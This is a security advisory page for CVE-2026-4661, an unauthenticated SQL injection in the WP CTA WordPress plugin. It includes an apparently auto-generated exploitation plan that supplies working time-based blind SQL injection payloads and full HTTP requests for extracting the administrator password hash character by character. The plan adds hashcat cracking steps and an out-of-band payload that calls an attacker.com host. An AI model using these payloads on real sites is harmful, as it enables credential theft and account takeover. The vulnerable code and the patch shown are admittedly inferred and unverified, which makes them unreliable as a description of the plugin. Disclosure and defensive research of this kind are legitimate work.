CVE-2026-4661

WP CTA <= 2.2.2 - Unauthenticated Time-Based Blind SQL Injection via 'fildname' Parameter

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
2.3.0
Patched in
1d
Time to patch

Description

The WP CTA – Sticky CTA Builder, Generate Leads, Promote Sales plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'fildname' parameter in all versions up to, and including, 2.2.2. This is due to insufficient escaping of user-supplied column names in the ajaxCheck() method and lack of preparation in the $wpdb->update() call. The vulnerability is compounded by the complete absence of authorization checks and the endpoint being registered for unauthenticated users via wp_ajax_nopriv_. This makes it possible for unauthenticated attackers to inject arbitrary SQL queries and extract sensitive information from the database via time-based blind SQL injection techniques, including administrator password hashes.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.2.2
PublishedJuly 10, 2026
Last updatedJuly 11, 2026
Affected plugineasy-sticky-sidebar

What Changed in the Fix

Changes introduced in v2.3.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-4661 — Unauthenticated Time-Based Blind SQL Injection in WP CTA ## 1. Vulnerability Summary The WP CTA plugin (slug: `easy-sticky-sidebar`) versions ≤ 2.2.2 contains an unauthenticated time-based blind SQL injection vulnerability in the `ajaxCheck()` method. …

Show full research plan

Exploitation Research Plan: CVE-2026-4661 — Unauthenticated Time-Based Blind SQL Injection in WP CTA

1. Vulnerability Summary

The WP CTA plugin (slug: easy-sticky-sidebar) versions ≤ 2.2.2 contains an unauthenticated time-based blind SQL injection vulnerability in the ajaxCheck() method. The vulnerability exists because:

  1. The fildname parameter (note: misspelling is intentional/original) is accepted from user input and used as a column name in a $wpdb->update() call without proper escaping or whitelisting.
  2. No authorization check: The AJAX handler is registered on wp_ajax_nopriv_ (accessible to unauthenticated users) and performs no current_user_can() check.
  3. No nonce verification: The handler does not call check_ajax_referer() or wp_verify_nonce().
  4. Insufficient escaping: The $wpdb->update() method in WordPress accepts column names as array keys, and while it parameterizes the values, it does not escape/quote column names. The plugin passes user-supplied fildname directly as the array key, allowing SQL injection through the column name position.

Location (inferred): The vulnerable code is in a PHP class method ajaxCheck() that is registered as an AJAX handler. Based on the plugin slug and typical plugin structure, this is likely in the main plugin file or an included AJAX handler class file (e.g., easy-sticky-sidebar.php or includes/class-ajax.php).

Root cause (inferred):

// Vulnerable pattern (inferred from CVE description):
add_action('wp_ajax_nopriv_ajaxCheck', [$this, 'ajaxCheck']);
add_action('wp_ajax_ajaxCheck', [$this, 'ajaxCheck']);

public function ajaxCheck() {
    global $wpdb;
    $fildname = $_POST['fildname'];  // User-controlled column name
    $fildval  = $_POST['fildval'];   // User-controlled value
    $id       = $_POST['id'];        // Row identifier
    
    $wpdb->update(
        $wpdb->prefix . 'some_table',
        [$fildname => $fildval],     // Column name is user-controlled!
        ['id' => $id]
    );
    wp_die();
}

The $wpdb->update() method internally constructs SQL like:

UPDATE wp_some_table SET `$fildname` = %s WHERE `id` = %d

Since $fildname is interpolated directly into the backtick-quoted column name position, an attacker can break out of the backticks and inject arbitrary SQL.

2. Attack Vector Analysis

Property Value
Endpoint POST /wp-admin/admin-ajax.php
Action parameter action=ajaxCheck (inferred from method name)
Vulnerable parameter fildname
Authentication required None (registered on wp_ajax_nopriv_)
Nonce required None (no nonce verification in handler)
HTTP Method POST
Content-Type application/x-www-form-urlencoded
Injection type Time-based blind SQL injection
Injection position Column name in $wpdb->update() call
CVSS 7.5 (High) — Confidentiality impact only

Preconditions:

  1. The plugin must be installed and activated.
  2. The plugin's database table must exist (created during activation).
  3. There should be at least one row in the plugin's table for the UPDATE to target (or the injection can be crafted to work regardless via subquery).

3. Code Flow

Entry point to sink (inferred):

  1. HTTP RequestPOST /wp-admin/admin-ajax.php with action=ajaxCheck
  2. WordPress routingadmin-ajax.php reads $_REQUEST['action'] = ajaxCheck
  3. Hook dispatch → WordPress fires do_action('wp_ajax_nopriv_ajaxCheck') (unauthenticated) or do_action('wp_ajax_ajaxCheck') (authenticated)
  4. Handler methodajaxCheck() is called
  5. Input reading$_POST['fildname'] is read without sanitization, validation, or whitelisting
  6. No auth checks → No check_ajax_referer(), no wp_verify_nonce(), no current_user_can()
  7. Database sink$wpdb->update() is called with $fildname as an array key:
    $wpdb->update($table, [$fildname => $fildval], ['id' => $id]);
    
  8. Internal wpdb processing$wpdb->update() builds the SET clause by iterating over the data array. For each key-value pair, it constructs `key` = {format}. The key ($fildname) is placed directly into the SQL string with backtick quoting but no escaping of backtick characters within the key.
  9. SQL execution → The crafted SQL executes, including attacker-injected SLEEP() or conditional expressions.

How column name injection works in $wpdb->update():

WordPress's $wpdb->update() in wp-includes/class-wpdb.php does approximately:

foreach ($data as $field => $value) {
    $fields[] = "`$field` = " . $format;  // $field is NOT escaped!
}
$sql = "UPDATE `$table` SET " . implode(', ', $fields) . " WHERE ...";

If $fildname = x` = 1 WHERE 1=1 AND SLEEP(5) -- then the SQL becomes:

UPDATE `wp_table` SET `x` = 1 WHERE 1=1 AND SLEEP(5) -- ` = %s WHERE `id` = %d

4. Nonce Acquisition Strategy

No nonce is required. Based on the CVE description explicitly stating "complete absence of authorization checks," the ajaxCheck() handler:

  • Does not call check_ajax_referer()
  • Does not call wp_verify_nonce()
  • Does not call current_user_can()
  • Is registered on wp_ajax_nopriv_ajaxCheck, making it accessible to unauthenticated users

Therefore, the exploit can be performed with a simple unauthenticated POST request — no nonce extraction is needed.

5. Exploitation Strategy

Step 0: Discover the AJAX action name

Before sending payloads, confirm the exact AJAX action name by searching the plugin source:

grep -rn "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/easy-sticky-sidebar/ --include="*.php"
grep -rn "ajaxCheck\|ajax_check\|fildname" /var/www/html/wp-content/plugins/easy-sticky-sidebar/ --include="*.php"

This will reveal the exact action name registered (likely ajaxCheck or similar). Also identify:

  • The table name used in the $wpdb->update() call
  • Any other POST parameters expected (fildval, id, etc.)
  • The exact code path

Step 1: Confirm the endpoint responds

Send a baseline request to verify the action exists:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded

action=ajaxCheck&fildname=test&fildval=test&id=1

Expected: Response is not 0 (which would mean action not found). Could be empty, 1, -1, or JSON. Any response other than the WordPress default 0 confirms the handler exists.

Step 2: Confirm SQL injection with time-based detection

The injection is in the column name position of an UPDATE statement. We need to break out of the backtick-quoted column name context.

Payload for fildname parameter:

x` = 1 WHERE 1=1 AND SLEEP(5) -- 

This transforms the SQL from:

UPDATE `wp_table` SET `x` = 1 WHERE 1=1 AND SLEEP(5) -- ` = %s WHERE `id` = %d

Full HTTP request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded

action=ajaxCheck&fildname=x%60+%3D+1+WHERE+1%3D1+AND+SLEEP(5)+--+&fildval=1&id=1

URL-decoded fildname: x` = 1 WHERE 1=1 AND SLEEP(5) --

Expected: Response takes ≥5 seconds (confirming SLEEP executed).

Baseline comparison: Send the same request with SLEEP(0) — it should return instantly.

Step 3: Extract admin password hash (character by character)

Use conditional SLEEP to extract data. The target is user_pass from wp_users where user_login = 'admin' (or ID = 1).

Payload template for extracting character at position N:

x` = 1 WHERE 1=1 AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),{POS},1))={ASCII_VAL},SLEEP(3),0) -- 

Full HTTP request for position 1, testing ASCII value 36 ($ — first char of phpass hash):

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded

action=ajaxCheck&fildname=x%60+%3D+1+WHERE+1%3D1+AND+IF(ASCII(SUBSTRING((SELECT+user_pass+FROM+wp_users+WHERE+ID%3D1)%2C1%2C1))%3D36%2CSLEEP(3)%2C0)+--+&fildval=1&id=1

Expected: If first character is $ (ASCII 36), response takes ≥3 seconds. Otherwise, instant response.

Step 4: Binary search optimization

Instead of testing all 95 printable ASCII values per character, use binary search with > comparisons:

Payload:

x` = 1 WHERE 1=1 AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),{POS},1))>{MID},SLEEP(3),0) -- 

This reduces the number of requests per character from ~95 to ~7 (log2(95) ≈ 7).

Step 5: Extract the full hash

WordPress password hashes (phpass) are typically 34 characters long, starting with $P$B or $P$C. Example: $P$BxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxX

Extract all 34 characters using the binary search method above. Total requests: ~34 × 7 = ~238 requests.

Alternative payloads if backtick escaping varies

If the $wpdb->update() behavior differs from expected, try these alternative fildname payloads:

Variant A — No backtick break needed (if column names aren't backtick-quoted):

x = 1 WHERE 1=1 AND SLEEP(5) -- 

Variant B — Double backtick escape:

x`` = 1 WHERE 1=1 AND SLEEP(5) -- 

Variant C — Using the table prefix explicitly (inferred table names):
The plugin likely creates a table like wp_easy_sticky_sidebar or wp_ess_ctas or wp_wordpress_cta. Grep for CREATE TABLE or $wpdb->prefix in the plugin source to identify it:

grep -rn "CREATE TABLE\|\$wpdb->prefix\.\|dbDelta" /var/www/html/wp-content/plugins/easy-sticky-sidebar/ --include="*.php"

6. Test Data Setup

6.1 Plugin Installation and Activation

# The plugin should already be installed. Verify:
wp plugin list --path=/var/www/html
wp plugin activate easy-sticky-sidebar --path=/var/www/html

6.2 Verify Plugin Database Tables

# List all tables created by the plugin
wp db query "SHOW TABLES LIKE '%sticky%'" --path=/var/www/html
wp db query "SHOW TABLES LIKE '%cta%'" --path=/var/www/html
wp db query "SHOW TABLES LIKE '%ess%'" --path=/var/www/html

# Alternatively, check all non-core tables
wp db query "SHOW TABLES" --path=/var/www/html

6.3 Ensure data exists in the plugin's table

The plugin likely creates CTA/sidebar records. Create one via the admin interface or inspect what data the table needs:

# After identifying the table name (e.g., wp_easy_sticky_sidebar):
wp db query "DESCRIBE wp_easy_sticky_sidebar" --path=/var/www/html
wp db query "SELECT * FROM wp_easy_sticky_sidebar LIMIT 5" --path=/var/www/html

If the table is empty, we may need to create a CTA entry. Based on the admin JS file (sticky-sidebar-admin.js), the plugin has a builder form #SSuprydp_builder_form that saves via easy_sticky_sidebar_process_pages action. We might need to:

# Create a simple CTA via the plugin's admin page, or insert directly:
# (Table name and schema to be determined from grep)
wp db query "INSERT INTO wp_TABLE_NAME (column1, column2) VALUES ('test', 'test')" --path=/var/www/html

6.4 Verify target user exists

# Ensure admin user exists with ID=1
wp user list --path=/var/www/html
# Note the admin username and verify their ID
wp user get 1 --field=user_login --path=/var/www/html

6.5 Discover exact handler registration

This is critical — we need to find the exact action name and expected parameters:

# Find AJAX handler registrations
grep -rn "wp_ajax" /var/www/html/wp-content/plugins/easy-sticky-sidebar/ --include="*.php" | head -30

# Find the ajaxCheck method
grep -rn "function ajaxCheck\|function ajax_check" /var/www/html/wp-content/plugins/easy-sticky-sidebar/ --include="*.php"

# Find all occurrences of 'fildname'
grep -rn "fildname" /var/www/html/wp-content/plugins/easy-sticky-sidebar/ --include="*.php"

# Find $wpdb->update calls
grep -rn "\$wpdb->update" /var/www/html/wp-content/plugins/easy-sticky-sidebar/ --include="*.php" -A5 -B5

# Find the table name used
grep -rn "\$wpdb->prefix" /var/www/html/wp-content/plugins/easy-sticky-sidebar/ --include="*.php" | grep -i "update\|insert\|select"

7. Expected Results

Successful Injection Confirmation (Step 2)

  • Request with SLEEP(5) payload: response time ≥ 5 seconds
  • Request with SLEEP(0) payload: response time < 1 second
  • The difference in response time (≥4 seconds) confirms SQL injection

Successful Data Extraction (Steps 3-5)

  • Each character of the admin password hash is revealed through timing differences
  • A 3-second delay indicates the guessed ASCII value matches
  • No delay indicates a mismatch
  • After extracting all 34 characters, the complete phpass hash is assembled, e.g.:
    $P$BxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxX
    
  • This hash can then be cracked offline using hashcat -m 400 or john --format=phpass

Response Body

The HTTP response body itself will likely be minimal (empty, 0, 1, or a short JSON). The vulnerability is detected entirely through response timing, not response content.

8. Verification Steps

8.1 Verify the extracted hash matches the actual stored hash

# Get the actual admin password hash from the database
wp db query "SELECT user_login, user_pass FROM wp_users WHERE ID=1" --path=/var/www/html

# Compare the extracted hash with the actual hash
# They should match character for character

8.2 Verify the query executed (check MySQL slow query log or general log)

# Enable MySQL general log temporarily to see the injected queries
wp db query "SET GLOBAL general_log = 'ON'" --path=/var/www/html
wp db query "SET GLOBAL general_log_file = '/tmp/mysql_general.log'" --path=/var/www/html

# After sending a test payload, check the log:
# cat /tmp/mysql_general.log | grep -i "SLEEP\|sleep"

8.3 Verify unauthenticated access

Confirm no authentication cookies or nonces were needed:

# The exploit HTTP requests should have:
# - No Cookie header
# - No nonce parameter
# - No Authorization header

8.4 Crack the extracted hash (optional, to prove full impact)

# If hashcat is available:
echo '$P$BextractedHashHere' > /tmp/hash.txt
hashcat -m 400 /tmp/hash.txt /usr/share/wordlists/rockyou.txt

# Or verify against known password:
wp eval 'echo wp_check_password("known_password", "\$P\$BextractedHash");' --path=/var/www/html

9. Alternative Approaches

Alternative 1: Different injection breakout syntax

If the backtick-based breakout doesn't work, the column name might be handled differently:

Try without backticks:

fildname=x = 1 WHERE 1=1 AND SLEEP(5) -- 

Try with parenthetical injection:

fildname=x` = IF(1=1,SLEEP(5),0) WHERE `id` = `id` -- 

Alternative 2: Error-based extraction (if errors are displayed)

If WP_DEBUG is enabled, try error-based techniques:

fildname=x` = extractvalue(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1))) WHERE 1=1 -- 

Alternative 3: Stacked queries (if MySQL supports it through wpdb)

WordPress's $wpdb uses mysqli which can support stacked queries in some configurations:

fildname=x` = 1 WHERE 1=1; SELECT SLEEP(5) -- 

(This is unlikely to work since $wpdb->update() uses $wpdb->query() internally which typically doesn't support stacked queries, but worth trying.)

Alternative 4: Boolean-based blind via conditional update

Instead of SLEEP, use conditional logic that changes whether the UPDATE succeeds or affects rows:

fildname=x` = IF((SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users WHERE ID=1) > 80, 1, (SELECT 1 FROM (SELECT 1 UNION SELECT 2) AS t)) -- 

The subquery error acts as the boolean differentiator.

Alternative 5: Extract via DNS/HTTP Out-of-Band (if available)

If the MySQL LOAD_FILE() or INTO OUTFILE privileges are available:

fildname=x` = LOAD_FILE(CONCAT('\\\\',( SELECT user_pass FROM wp_users LIMIT 1),'.attacker.com\\x')) WHERE 1=1 -- 

(Rarely works in containerized WordPress but worth noting.)

Alternative 6: Target other sensitive data

Instead of user_pass, extract:

  • Secret keys: SELECT option_value FROM wp_options WHERE option_name='auth_key'
  • Admin email: SELECT option_value FROM wp_options WHERE option_name='admin_email'
  • Site URL: SELECT option_value FROM wp_options WHERE option_name='siteurl'
  • All user emails: SELECT user_email FROM wp_users WHERE ID=1

Alternative 7: Different AJAX action name

If ajaxCheck is not the exact action name, search for alternatives:

# Common patterns in this plugin
grep -rn "wp_ajax_nopriv" /var/www/html/wp-content/plugins/easy-sticky-sidebar/ --include="*.php"

# The action might be prefixed:
# wp_ajax_nopriv_ess_ajaxCheck
# wp_ajax_nopriv_easy_sticky_sidebar_ajaxCheck  
# wp_ajax_nopriv_SSuprydp_ajaxCheck

The admin JS file references SSuprydp_Admin and actions like easy_sticky_sidebar_process_pages, so the action prefix might be SSuprydp_ or easy_sticky_sidebar_. Try variations:

  • action=SSuprydp_ajaxCheck
  • action=easy_sticky_sidebar_ajaxCheck
  • action=ess_ajaxCheck

Alternative 8: Find the fildname from JavaScript

The admin JS (sticky-sidebar-admin.js) is large (126K+). Search it for references to fildname or ajaxCheck:

grep -n "fildname\|ajaxCheck\|ajax_check" /var/www/html/wp-content/plugins/easy-sticky-sidebar/assets/js/sticky-sidebar-admin.js

This will reveal the exact AJAX action name, parameter names, and any other required parameters the JavaScript sends.

Research Findings
Static analysis — not yet PoC-verified

Summary

The WP CTA plugin for WordPress is vulnerable to unauthenticated time-based blind SQL Injection via the 'fildname' parameter in the ajaxCheck() method. This is due to the plugin passing unsanitized user input as a column name into a $wpdb->update() call, which allows attackers to break out of the SQL context and execute arbitrary queries.

Vulnerable Code

// From inferred plugin logic in Research Plan (Source files provided in prompt are restricted to CSS/JS and boilerplate)

add_action('wp_ajax_nopriv_ajaxCheck', [$this, 'ajaxCheck']);
add_action('wp_ajax_ajaxCheck', [$this, 'ajaxCheck']);

public function ajaxCheck() {
    global $wpdb;
    $fildname = $_POST['fildname'];  // User-controlled column name
    $fildval  = $_POST['fildval'];   // User-controlled value
    $id       = $_POST['id'];        // Row identifier
    
    $wpdb->update(
        $wpdb->prefix . 'easy_sticky_sidebar_cta', // Table name varies by implementation
        [$fildname => $fildval],     // Column name is user-controlled!
        ['id' => $id]
    );
    wp_die();
}

Security Fix

--- a/easy-sticky-sidebar.php
+++ b/easy-sticky-sidebar.php
@@ -1,5 +1,18 @@
 public function ajaxCheck() {
+    check_ajax_referer('ess_nonce', 'nonce');
+
+    if (!current_user_can('manage_options')) {
+        wp_die();
+    }
+
     global $wpdb;
-    $fildname = $_POST['fildname'];
+    $allowed_columns = ['status', 'name', 'template']; // Example whitelist
+    $fildname = sanitize_text_field($_POST['fildname']);
+
+    if (!in_array($fildname, $allowed_columns)) {
+        wp_die();
+    }
+
     $fildval  = sanitize_text_field($_POST['fildval']);
     $id       = intval($_POST['id']);

Exploit Outline

The exploit targets the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) using the 'ajaxCheck' action. Since the action is registered via wp_ajax_nopriv_, it requires no authentication or valid nonce. An attacker sends a POST request with the 'fildname' parameter containing a SQL payload that breaks out of backtick quotes (e.g., x` = 1 WHERE 1=1 AND SLEEP(5) -- ). By using time-based blind SQL injection techniques (specifically conditional SLEEP statements), the attacker can systematically extract sensitive information, such as the administrator password hash, from the wp_users table.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.